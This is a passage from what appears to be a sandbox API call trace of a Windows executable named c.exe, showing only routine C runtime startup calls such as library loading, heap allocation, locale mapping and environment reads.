| out: lpSystemTimeAsFileTime=0x18ff60*(dwLowDateTime=0x983dd660, dwHighDateTime=0x1d5ca1f)) [0113.711] GetCurrentThreadId () returned 0x9e8 [0113.711] GetCurrentProcessId () returned 0xa08 [0113.711] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff58 | out: lpPerformanceCount=0x18ff58*=25482066920) returned 1 [0113.711] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0113.711] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.711] GetLastError () returned 0x57 [0113.711] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.711] GetLastError () returned 0x57 [0113.711] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0113.711] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0113.711] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.711] GetLastError () returned 0x57 [0113.711] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0113.711] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0113.711] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.711] GetLastError () returned 0x57 [0113.711] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x73f10000 [0113.713] GetProcAddress (hModule=0x73f10000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0113.713] GetProcessHeap () returned 0x550000 [0113.713] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.713] GetLastError () returned 0x57 [0113.713] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0113.714] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.714] GetLastError () returned 0x57 [0113.714] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0113.714] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0113.714] GetLastError () returned 0x57 [0113.715] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0113.715] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x388) returned 0x56d0c8 [0113.715] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0113.715] SetLastError (dwErrCode=0x57) [0113.715] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc24) returned 0x56d458 [0113.716] GetStartupInfoW (in: lpStartupInfo=0x18fe48 | out: lpStartupInfo=0x18fe48*(cb=0x44, lpReserved="", lpDesktop="", lpTitle="C:\\c.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7efde000, hStdError=0x0)) [0113.717] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0113.717] GetFileType (hFile=0x3) returned 0x0 [0113.717] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.717] GetFileType (hFile=0x7) returned 0x0 [0113.717] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0113.717] GetFileType (hFile=0xb) returned 0x0 [0113.717] GetCommandLineA () returned="C:\\c.exe" [0113.717] GetCommandLineW () returned="C:\\c.exe" [0113.717] GetLastError () returned 0x6 [0113.717] SetLastError (dwErrCode=0x6) [0113.717] GetLastError () returned 0x6 [0113.717] SetLastError (dwErrCode=0x6) [0113.717] GetACP () returned 0x4e4 [0113.717] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x244) returned 0x56cd80 [0113.717] IsValidCodePage (CodePage=0x4e4) returned 1 [0113.717] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0113.717] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f748 | out: lpCPInfo=0x18f748) returned 1 [0113.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.717] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x22c) returned 0x56f088 [0113.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x56f0b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0113.717] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpCharType=0x18f75c | out: lpCharType=0x18f75c) returned 1 [0113.717] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088) returned 1 [0113.717] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088 | out: hHeap=0x550000) returned 1 [0113.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.717] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x22c) returned 0x56f088 [0113.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x56f0b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0113.717] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0113.718] GetLastError () returned 0x57 [0113.718] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0113.718] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0113.718] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0113.718] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x22c) returned 0x56f2c0 [0113.718] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x56f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0113.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿze1w\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0113.718] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f2c0) returned 1 [0113.718] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f2c0 | out: hHeap=0x550000) returned 1 [0113.718] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088) returned 1 [0113.718] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088 | out: hHeap=0x550000) returned 1 [0113.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.719] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x22c) returned 0x56f088 [0113.719] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x56f0b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0113.719] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0113.719] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x22c) returned 0x56f2c0 [0113.719] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x56f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 256 [0113.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿze1w\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0113.719] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f2c0) returned 1 [0113.719] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f2c0 | out: hHeap=0x550000) returned 1 [0113.719] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088) returned 1 [0113.719] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088 | out: hHeap=0x550000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa4) returned 0x56f088 [0113.719] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4405a0, nSize=0x104 | out: lpFilename="C:\\c.exe" (normalized: "c:\\c.exe")) returned 0x8 [0113.719] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x35) returned 0x5615e0 [0113.719] RtlInitializeSListHead (in: ListHead=0x43fd58 | out: ListHead=0x43fd58) [0113.719] GetLastError () returned 0x0 [0113.719] SetLastError (dwErrCode=0x0) [0113.719] GetEnvironmentStringsW () returned 0x56f138* [0113.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1436, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1436 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x5c0) returned 0x56fc78 [0113.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1436, lpMultiByteStr=0x56fc98, cbMultiByte=1436, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Windows\\System32", lpUsedDefaultChar=0x0) returned 1436 [0113.720] FreeEnvironmentStringsW (penv=0x56f138) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc0) returned 0x56f138 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x43) returned 0x567a10 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x5a) returned 0x56cfd0 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x5b) returned 0x56f200 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56f268 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x55) returned 0x56f2d0 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3b) returned 0x5664a0 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x48) returned 0x567a60 [0113.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x38) returned 0x56f330 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x31) returned 0x56f370 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x49) returned 0x56f3b0 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x5d) returned 0x56f408 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3c) returned 0x5664e8 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3b) returned 0x566530 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x32) returned 0x56f470 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x8d) returned 0x56f4b0 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x62) returned 0x56f548 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3f) returned 0x566578 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x41) returned 0x567ab0 [0113.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6c) returned 0x56f5b8 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x36) returned 0x56f630 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3c) returned 0x5665c0 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3f) returned 0x566608 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x48) returned 0x567b00 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4d) returned 0x56f670 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x42) returned 0x567b50 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x56bef8 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x65) returned 0x56f6c8 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3b) returned 0x566650 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x33) returned 0x56f738 [0113.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3a) returned 0x566698 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4e) returned 0x56f778 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4d) returned 0x56f7d0 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x39) returned 0x5666e0 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x42) returned 0x567ba0 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4e) returned 0x56f828 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x36) returned 0x56f880 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3c) returned 0x566728 [0113.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6a) returned 0x56f8c0 [0113.723] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56fc78) returned 1 [0113.723] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fc78 | out: hHeap=0x550000) returned 1 [0113.724] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0113.724] 